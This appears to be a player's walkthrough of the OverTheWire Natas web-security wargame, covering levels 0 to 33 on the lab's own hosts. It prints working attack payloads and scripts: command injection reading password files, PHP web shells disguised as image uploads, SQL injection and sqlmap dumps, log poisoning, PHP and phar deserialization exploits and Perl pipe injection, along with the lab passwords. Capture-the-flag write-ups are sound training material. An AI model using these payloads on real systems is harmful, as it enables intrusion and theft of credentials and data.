All the levels in Natas are about web.

The URL for each level is http://natas[level number].natas.labs.overthewire.org, and the username is natas[level number]. All passwords are also stored in /etc/natas_webpass/. E.g. the password for natas5 is stored in the file /etc/natas_webpass/natas5 and only readable by natas4 and natas5.


Level 0

You can find the password for the next level on this page.

The password gtVrDuiDfck831PqWsLEZy5gyDz1clto is in the source code of the page.


Level 0 -> Level 1

You can find the password for the next level on this page, but rightclicking has been blocked!

The password ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi is in the source code of the page again.


Level 1 -> Level 2

There is nothing on this page.

If we look at the source code, there is an image source in files/pixel.png. Access the directory and we can find users.txt, which contains the password sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14.


Level 2 -> Level 3

There is nothing on this page

By accessing robots.txt, it shows that /s3cr3t/ is disallowed. And the password Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ is inside /s3cr3t/users.txt.


Level 3 -> Level 4

Access disallowed. You are visiting from "" while authorized users should come only from “http://natas5.natas.labs.overthewire.org/"

We should access from http://natas5.natas.labs.overthewire.org/. There is a refresh button, if we push it, it will show that we are visiting from “http://natas4.natas.labs.overthewire.org/", and a Referer header is also contained in the request.

By changing it to http://natas5.natas.labs.overthewire.org/ in Burp Suite, we can get the password iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq.


Level 4 -> Level 5

Access disallowed. You are not logged in

Change the cookie loggedin from 0 to 1, and we can get the password aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1.


Level 5 -> Level 6

There is a field to summit password. From the source code, we can tell that it includes includes/secret.inc and make the comparison.

We can find the password 7z3hEENjQtflzgnT29q7wAvMNfZdh0i9 in includes/secret.inc.


Level 6 -> Level 7

There are Home and About links to index.php?page=home and index.php?page=about separately. And from the source code we got the hint that the password is in /etc/natas_webpass/natas8.

By accessing http://natas7.natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8, we can get the password DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe.


Level 7 -> Level 8

The page takes the input and make the comparsion. We can get the source code.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
<?

$encodedSecret = "3d3d516343746d4d6d6c315669563362";

function encodeSecret($secret) {
    return bin2hex(strrev(base64_encode($secret)));
}

if(array_key_exists("submit", $_POST)) {
    if(encodeSecret($_POST['secret']) == $encodedSecret) {
    print "Access granted. The password for natas9 is <censored>";
    } else {
    print "Wrong secret";
    }
}
?>

By using the following script, we can get the secret oubWYf2kBq.

1
2
3
4
5
6
7
8
<?php 
$encodedSecret = "3d3d516343746d4d6d6c315669563362";
function decodeSecret($secret) {
    return base64_decode(strrev(hex2bin($secret)));
}

print decodeSecret($encodedSecret);
?>

Fill the blank with secret, and we can get the password W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl.


Level 8 -> Level 9

It says Find words containing: on the page. In the source code, we can find that it uses passthru("grep -i $key dictionary.txt"); to find key in dictionary.txt.

If we input ;cat /etc/natas_webpass/natas10; as key, then we can get the password nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu.


Level 9 -> Level 10

It is the extension of previous level, but it adds preg_match('/[;|&]/',$key to filter ;, |, and &.

We can take . /etc/natas_webpass/natas11 # as input, and we can get the password U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK.


Level 10 -> Level 11

Cookies are protected with XOR encryption
Background color:

By Viewing the source code, we can see that cookie is encrypted by $defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");.

What we can do is that find the key qw8J and encrypt $data = array( "showpassword"=>"yes", "bgcolor"=>"#ffffff"); as our new cookie, which is ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK, and we can get the password EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
	
	$cookie = "ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw";
	$cookie = base64_decode($cookie);
	$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
	$defaultdata = json_encode($defaultdata);
	$key = '';
    
    for($i=0;$i<strlen($cookie);$i++) {
    	$key .= $cookie[$i] ^ $defaultdata[$i];
    }

    function xor_encrypt($in) {
	    $key = 'qw8J';
	    $text = $in;
	    $outText = '';

	    // Iterate through each character
	    for($i=0;$i<strlen($text);$i++) {
	    	$outText .= $text[$i] ^ $key[$i % strlen($key)];
	    }

	    return $outText;
	}

	echo($key);
	echo "\n";

    $data = array( "showpassword"=>"yes", "bgcolor"=>"#ffffff");
    $new_cookie = base64_encode(xor_encrypt(json_encode($data)));
    echo($new_cookie);
?>

Level 11 -> Level 12

Choose a JPEG to upload (max 1KB):

We can upload an image file, and it will give us the path to that .jpg file.

But instead, we can also upload a .php file

1
2
3
<?php
	echo(shell_exec("cat /etc/natas_webpass/natas13"));
?>

After using Burp Suite to change .jpg to .php in the request, we can get the password jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY by accessing the path.


Level 12 -> Level 13

For security reasons, we now only accept image files!
Choose a JPEG to upload (max 1KB):

It is an advanced version of previous level.

Add BM at the begin of the php file.

1
2
3
BM<?php
	echo(shell_exec("cat /etc/natas_webpass/natas13"));
?>

And it will pass the filter exif_imagetype() to get the password Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1.


Level 13 -> Level 14

It is a database, and we need to provide Username and Password.

We can try SQL injection. By typing " or "1" = "1 at password, we can get the password AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J.


Level 14 -> Level 15

There is only a field to input Username and check if the user exists.

Check user natas16, and it gives us This user exists..

For this one, we can use sqlmap.

Execute sqlmap -u "http://natas15.natas.labs.overthewire.org/index.php" --string="This user exists" --auth-type=Basic --auth-cred=natas15:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J --data="username=natas16" --level=5 —risk=3 —threads 2 --dbms=MySQL -D natas15 -T users -C username,password —dump, and we can get the password of natas16 WaIHEacj63wnNIBROHeqi3p9t0m5nhmh.


Level 15 -> Level 16

For security reasons, we now filter even more on certain characters
Find words containing:

This is the advanced version of Level 9 -> Level 10. More filtering are implemented.

We can use the following script.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
from requests.auth import HTTPBasicAuth

auth = HTTPBasicAuth('natas16', 'WaIHEacj63wnNIBROHeqi3p9t0m5nhmh')

filtered = ''
password = ''
chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890'
for char in chars:
	r = requests.get('http://natas16.natas.labs.overthewire.org/?needle=acne$(grep ' + char + ' /etc/natas_webpass/natas17)', auth=auth)
	if 'acne' not in r.text:
		filtered = filtered + char
		print(filtered)

for i in range(32):
	for char in filtered:
		r = requests.get('http://natas16.natas.labs.overthewire.org/?needle=acne$(grep ^' + password + char + ' /etc/natas_webpass/natas17)', auth=auth)
		if 'acne' not in r.text:
			password = password + char
			print(password)
      break

The idea is that if we search for acne in dictionary.txt, it retuns acne.

First, $(grep ' + char + ' /etc/natas_webpass/natas17) will return the password if the character is in /etc/natas_webpass/natas17, and it will return nothing if the character is not in /etc/natas_webpass/natas17.

So, searching for acne$(grep ' + char + ' /etc/natas_webpass/natas17) will return acne if char is not in /etc/natas_webpass/natas17, and return nothing if char is in /etc/natas_webpass/natas17. By doing so, we can know which characters are in the password.

Second, $(grep ^' + password + char + ' /etc/natas_webpass/natas17) will return the password if password + char is at the beginning of the password, and it will return nothing if they are not in the beginning of the password.

So, we can test the letters in filtered one by one by acne$(grep ^' + password + char + ' /etc/natas_webpass/natas17), and we can concatenate the string to make out the password 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw.


Level 16 -> Level 17

This one is similar to Level 14 -> Level 15. But it will not tell you anything about whether the user exist or not.

For this one, we can still use sqlmap.

Execute sqlmap -u "http://natas17.natas.labs.overthewire.org/index.php" --auth-type=Basic --auth-cred=natas17:8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw --data="username=natas18" --level=5 —risk=3 —threads 2 --dbms=MySQL -D natas17 -T users -C username,password —dump, and we can find the password xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP.


Level 17 -> Level 18

Please login with your admin account to retrieve credentials for natas19.
Username:
Password:

From the source code, we can see that it create credentials using rand(1, 640).

By using ZAP Proxy, we fuzz PHPSESSID from 1 to 640, and we can find admin’s credential in one of them and get the password 4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs.


Level 18 -> Level 19

This page uses mostly the same code as the previous level, but session IDs are no longer sequential…
Please login with your admin account to retrieve credentials for natas20.
Username:
Password:

For this time, PHPSESSID is in a hex form. Convert it to hex we can get something as 167-admin, 245-admin …

We can login as admin by fuzzing with the payload in hex form.

And finally get the password eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF.


Level 19 -> Level 20

You are logged in as a regular user. Login as an admin to retrieve credentials for natas21.
Your name:
Change name

From the source code, the idea is that it writes username into a session file, and check if admin is in the file and the admin field is equal to 1.

We can use admin%0Aadmin%201 as payload, and we can get the password IFekPyrQXftziDEsUr3x21sYuahypdgJ.


Level 20 -> Level 21

Note: this website is colocated with http://natas21-experimenter.natas.labs.overthewire.org
You are logged in as a regular user. Login as an admin to retrieve credentials for natas22.

And in http://natas21-experimenter.natas.labs.overthewire.org, it looks like this.

Local Picture

I assume that they share the same php session, so I copy the session in http://natas21.natas.labs.overthewire.org and paste it to http://natas21-experimenter.natas.labs.overthewire.org.

I add admin=1 in the payload http://natas21-experimenter.natas.labs.overthewire.org/index.php?align=center&fontsize=80%&bgcolor=blue&admin=1&submit=Update, and refresh http://natas21.natas.labs.overthewire.org, and we can get the password chG9fbe1Tq2eWVMgjYYD1MsfIvN461kJ.


Level 21 -> Level 22

Look at the source code, and we concludes that if revelio exists in GET, password will show up.

Use the command curl -X GET --user natas22:chG9fbe1Tq2eWVMgjYYD1MsfIvN461kJ "http://natas22.natas.labs.overthewire.org/index.php?revelio=1", and we can get the password D0vlad33nQF0Hz2EP255TP5wSW9ZsRSE.


Level 22 -> Level 23

Password:
Login

It requries a password to login.

There is a line of code if(strstr($_REQUEST["passwd"],"iloveyou") && ($_REQUEST["passwd"] > 10 )), so we can use 12iloveyou as payload, and we can get the password OsRmXFguozKpTZZ5X14zNO43379LZveg.


Level 23 -> Level 24

Password:
Login

From the source code, we need to pass through if(!strcmp($_REQUEST["passwd"],"<censored>")).

After searching for php strcmp vulnerability, I found that it can be trigger by comparing an array with a string.

We can get the password GHF6X7YwACaYYssHVY05cFq83hRktl4c by accessing http://natas24.natas.labs.overthewire.org/?passwd[]=a.


Level 24 -> Level 25

In this challenge, it shows the content of the file on the web page.

However, it does some protection in the source code to prevent us from dumping /etc/natas_webpass/natas26.

First, it replaces ../ to NaN, and write the date, user-agent, and Directory traversal attempt! fixing request. into the log /var/www/natas/natas25/logs/natas25_[session id].log.

Second, if the path contains natas_webpass, date, user-agent, and Illegal file access detected! Aborting! will be written to the log, and executes exit(-1).

We can use http://natas25.natas.labs.overthewire.org/?lang=....//....//....//....//....//....//....//var/www/natas/natas25 /logs/natas25_h8hlo0ek9ujhninbc4jg3e7iv5.log to access to the log, where h8hlo0ek9ujhninbc4jg3e7iv5 is my session id. By doing so, it will trigger the first protection, and we can modify the request in user-agent to <?php include(“/etc/natas_webpass/natas26");?>. Instead of writing my real user-agent to the log, it will include the password into the log.

And we can get the password oGgWAJ7zcGT28vYazGo4rkhOPDhBu34T.


Level 25 -> Level 26

Draw a line:
X1:
Y1:
X2:
Y2:
Draw!

In this challenge, we are going to trigger the logger. From the source code, we can see that it serializes the parameters and does base64 encode to store in the cookie drawing.

We can make a logger object, serialize it and encode with base64. Once send it as the cookie, it will be decoded as base64 and unserialize. The class logger will do what we implemented in the payload.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
<?php

	class Logger{
		private $logFile;
		private $initMsg;
		private $exitMsg;
		function __construct($file){
			$this->initMsg = "hello world";
			$this->exitMsg = "<?php include('/etc/natas_webpass/natas27');?>";
			$this->logFile = "img/pwn.php";
		}
	}

	$log = new Logger();
	echo base64_encode(serialize($log))
?>

We can get the output Tzo2OiJMb2dnZXIiOjM6e3M6MTU6IgBMb2dnZXIAbG9nRmlsZSI7czoxMToiaW1nL 3B3bi5waHAiO3M6MTU6IgBMb2dnZXIAaW5pdE1zZyI7czoxMToiaGVsbG8gd29ybGQ iO3M6MTU6IgBMb2dnZXIAZXhpdE1zZyI7czo0NjoiPD9waHAgaW5jbHVkZSgnL2V0Y y9uYXRhc193ZWJwYXNzL25hdGFzMjcnKTs/PiI7fQ==. Use Burp Suite and modify the field drawing to this value.

Access the page http://natas26.natas.labs.overthewire.org/img/pwn.php, and we can get the password 55TBjpPZUUJgVP5b3BnbG6ON9uDPVzCJ.


Level 26 -> Level 27

Username:
Password:
login

If we login as natas28, it will dump the data of natas28. If the password is wrong and the user does not exist, it will create a new user with that password.

However, the system is protected with mysql_real_escape_string(). We cannot simply use SQL injection.

We can use the trailing space behavior in MySQL to create a user which will also be called when SELECT * from users where username='natas28' and an empty password.

In the request, we use username=natas28++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++n&password=, which will create a username exceeding the size and will be called when calling natas28.

Finally, we can get the password JWwR438wkgTsNKBbcJoowyysdM82YjeF.


Level 27 -> Level 28

Whack Computer Joke Database
Search:
search

sorry, we are currently out of sauce

There is no source code, and it was quite hard.

First of all, if we search for natas29, we get the nothing but a page http://natas28.natas.labs.overthewire.org/search.php/?query=G%2BglEae6W%2F1XjA7vRm21nNyEco%2Fc%2BJ2TdR0Qp8dcjPIQ9 i1qWcR%2BwgATYlCscOxBZIaVSupG%2B5Ppq4WEW09L0Nf%2FK3JUU%2Fwp RwHlH118D44%3D. The value of query is base64 encode and url encode.

After trying some other inputs, we can see that the first 32 bytes are always the same, and every 16 bytes is a block because after adding the lenght of input one by one, we get 33 to 48 bytes fixed when the length of the input exceeds 10.

In addition, we found that aaaaaaaaa and aaaaaaaaa% gives us the same third block, it may be related to SQL LIKE.

So, the structure may look like SELECT text FROM jokes WHERE text LIKE '%user_input%'. If we can append ' UNION ALL SELECT password FROM users;# in user_input, we may get the password.

We observe that when you pass ' into user_input, it will append \ to make it \', what we can do is that append 9 blanks in the front to make

"         ' UNION ALL SELECT password FROM users;#"

In this case, we can have the backslash in the end of first block, and a single ' in the beginning of the second block.

Get the content of query and take its 49 to 96 bytes, which is the blocks of ' UNION ALL SELECT password FROM users;#. And use " " * 10 as input, insert the previous blocks from the position 48 bytes, and we can get our new payload for SQL injection.

Finally, we can get the password airooCaiseiyee8he8xongien9euhe8b.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import base64
from urllib import quote_plus, unquote
import requests
from requests.auth import HTTPBasicAuth

HOST = 'http://natas28.natas.labs.overthewire.org/'
auth = HTTPBasicAuth('natas28', 'JWwR438wkgTsNKBbcJoowyysdM82YjeF')

# Create SQL injection block

payload = " " * 9 + "' UNION ALL SELECT password FROM users;#"

payload_bytes = len(payload) - 10

if payload_bytes % 16 != 0:
	blocks = (payload_bytes // 16) + 1
else:
	blocks = payload_bytes / 16

s = quote_plus(payload)
params = {'query': payload}


r = requests.post(HOST, params=params, auth=auth, allow_redirects=False)
result = r.headers['Location'].split("=", 1)[1]
result1 = base64.b64decode(unquote(result))

# Create base block

payload = " " * 10
s = quote_plus(payload)
params = {'query': payload}
r = requests.post(HOST, params=params, auth=auth, allow_redirects=False)
result = r.headers['Location'].split("=", 1)[1]
result2 = base64.b64decode(unquote(result))

# Make payload url

b64_encode = base64.b64encode(result2[0:48] + result1[48:(48 + 16 * blocks)] + result2[48:])
url = quote_plus(b64_encode)

path = 'search.php/?query='

r = requests.post(HOST + path + url, auth=auth)
print(r.content)

Level 28 -> Level 29

H3y K1dZ,
y0 rEm3mB3rz p3Rl rit3?
//4Nn4 g0 olD5kewL? R3aD Up!
s3lEcT suMp1n!
c4n Y0 h4z s4uc3?

It seems like we need to find the source code, and there are a form of perl underground, perl underground 2, … perl underground 5 to choose from.

After choosing, we will be direct to a page such as http://natas29.natas.labs.overthewire.org/index.pl?file=perl+underground+4, and it shows the content of the file perl underground 4.

If we try to access http://natas29.natas.labs.overthewire.org/index.pl?file=/etc/natas_webpass/natas30, it will return meeeeeep! to us, which seems like there is some kind of protection.

Try to modify the parameter, and we found that it is vulnerable to code injection, such as http://natas29.natas.labs.overthewire.org/index.pl?file=|ls%3b will show us the file in current directory.

We can get the source code with http://natas29.natas.labs.overthewire.org/index.pl?file=|cat%20index.pl%3b.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
if(param('file')){
    $f=param('file');
    if($f=~/natas/){
        print "meeeeeep!<br>";
    }
    else{
        open(FD, "$f.txt");
        print "<pre>";
        while (<FD>){
            print CGI::escapeHTML($_);
        }
        print "</pre>";
    }
}

It indeed makes a protection by checking if natas exists in the name of the path, what we can do is to append "" in our path to bypass this protection.

By accessing http://natas29.natas.labs.overthewire.org/index.pl?file=|cat%20/etc/n%22%22atas_webpass/n%22%22atas30%3b, we can get the password wie9iexae0Daihohv8vuu3cei9wahf0e.


Level 29 -> Level 30

Username:
Password:
login

From the source code, we can tell that it is written in perl.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
if ('POST' eq request_method && param('username') && param('password')){
    my $dbh = DBI->connect( "DBI:mysql:natas30","natas30", "<censored>", {'RaiseError' => 1});
    my $query="Select * FROM users where username =".$dbh->quote(param('username')) . " and password =".$dbh->quote(param('password')); 

    my $sth = $dbh->prepare($query);
    $sth->execute();
    my $ver = $sth->fetch();
    if ($ver){
        print "win!<br>";
        print "here is your result:<br>";
        print @$ver;
    }
    else{
        print "fail :(";
    }
    $sth->finish();
    $dbh->disconnect();
}

We need to find a way to pass through quote(), and I found that it is vulnerable to array.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
import requests
from requests.auth import HTTPBasicAuth

HOST = 'http://natas30.natas.labs.overthewire.org/index.pl'
auth = HTTPBasicAuth('natas30', 'wie9iexae0Daihohv8vuu3cei9wahf0e')

data = {"username": "natas31", "password": ["1 or '1'='1'", 2]}

r = requests.post(HOST, data=data, auth=auth)
print(r.content)

Finally, we get the password hay7aecuungiuKaezuathuk9biin0pu1.


Level 30 -> Level 31

CSV2HTML
We all like .csv files.
But isn’t a nicely rendered and sortable table much cooler?
Select file to upload:
Upload

We can upload .csv files, and it will show the content to us.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
my $cgi = CGI->new;
if ($cgi->upload('file')) {
    my $file = $cgi->param('file');
    print '<table class="sortable table table-hover table-striped">';
    $i=0;
    while (<$file>) {
        my @elements=split /,/, $_;

        if($i==0){ # header
            print "<tr>";
            foreach(@elements){
                print "<th>".$cgi->escapeHTML($_)."</th>";   
            }
            print "</tr>";
        }
        else{ # table content
            print "<tr>";
            foreach(@elements){
                print "<td>".$cgi->escapeHTML($_)."</td>";   
            }
            print "</tr>";
        }
        $i+=1;
    }
    print '</table>';
}
else{
print <<END;

We can parse ARGV in the request as a file, and insert command in the url. While the script run while (<$file>), it will take the file we indicate and print out its content.

The modified request is as follows.

Local Picture

Finally, we get the password no1vohsheCaiv3ieH4em1ahchisainge.


Level 31 -> Level 32

CSV2HTML
We all like .csv files.
But isn’t a nicely rendered and sortable table much cooler?
This time you need to prove that you got code exec. There is a binary in the webroot that you need to execute.
Select file to upload:
Upload

It looks exactly the same as previous level, however, using the same technique cannot get the password successfully. Instead, we need to execute the binary according to the hint.

Parsing ARGV again, and take POST /index.pl/?ls%20-al%20.%20| HTTP/1.1 as the request, we can get the files in the directory.

We are able to see a binary called getpassword, so take POST /index.pl/?./getpassword%20| HTTP/1.1 as the request, and we can get the password shoogeiGa2yee3de6Aex8uaXeech5eey.


Level 32 -> Level 33

Can you get it right?
Upload Firmware Update:
Upload File

Here’s the source code.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
  // graz XeR, the first to solve it! thanks for the feedback!
  // ~morla
  class Executor{
      private $filename=""; 
      private $signature='adeafbadbabec0dedabada55ba55d00d';
      private $init=False;

      function __construct(){
          $this->filename=$_POST["filename"];
          if(filesize($_FILES['uploadedfile']['tmp_name']) > 4096) {
              echo "File is too big<br>";
          }
          else {
              if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], "/natas33/upload/" . $this->filename)) {
                  echo "The update has been uploaded to: /natas33/upload/$this->filename<br>";
                  echo "Firmware upgrad initialised.<br>";
              }
              else{
                  echo "There was an error uploading the file, please try again!<br>";
              }
          }
      }

      function __destruct(){
          // upgrade firmware at the end of this script

          // "The working directory in the script shutdown phase can be different with some SAPIs (e.g. Apache)."
          if(getcwd() === "/") chdir("/natas33/uploads/");
          if(md5_file($this->filename) == $this->signature){
              echo "Congratulations! Running firmware update: $this->filename <br>";
              passthru("php " . $this->filename);
          }
          else{
              echo "Failur! MD5sum mismatch!<br>";
          }
      }
  }
?>

We can use PHP unserialization vulnerability to pass it.

First we create a file called pwn.php.

1
<?php include("/etc/natas_webpass/natas34"); ?>

And then, we execute the php file test.php to create a .phar file pwn.phar.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
<?php
    class Executor {
        private $filename = "pwn.php"; 
        private $signature = True;
        private $init = false;
    }

    $phar = new Phar("pwn.phar");
    $phar->startBuffering();
    $phar->addFromString("pwn.txt", 'You are pwned');
    $phar->setStub("<?php __HALT_COMPILER(); ?>");
    $o = new Executor();
    $phar->setMetadata($o);
    $phar->stopBuffering();
?>

Now, the preparation is done.

We upload the file pwn.php.

Local Picture

And upload the file pwn.phar.

Local Picture

Finally, send the previous request to repeater and substitue pwn.phar to phar://pwn.phar/pwn.txt to make md5_file() check using the provided Executer, which contains $filename = “pwn.php” and $signature = True, and we can pass the protection and get the password shu5ouSu6eicielahhae0mohd4ui5uig.

Local Picture


Level 33 -> Level 34

Congratulations! You have reached the end… for now.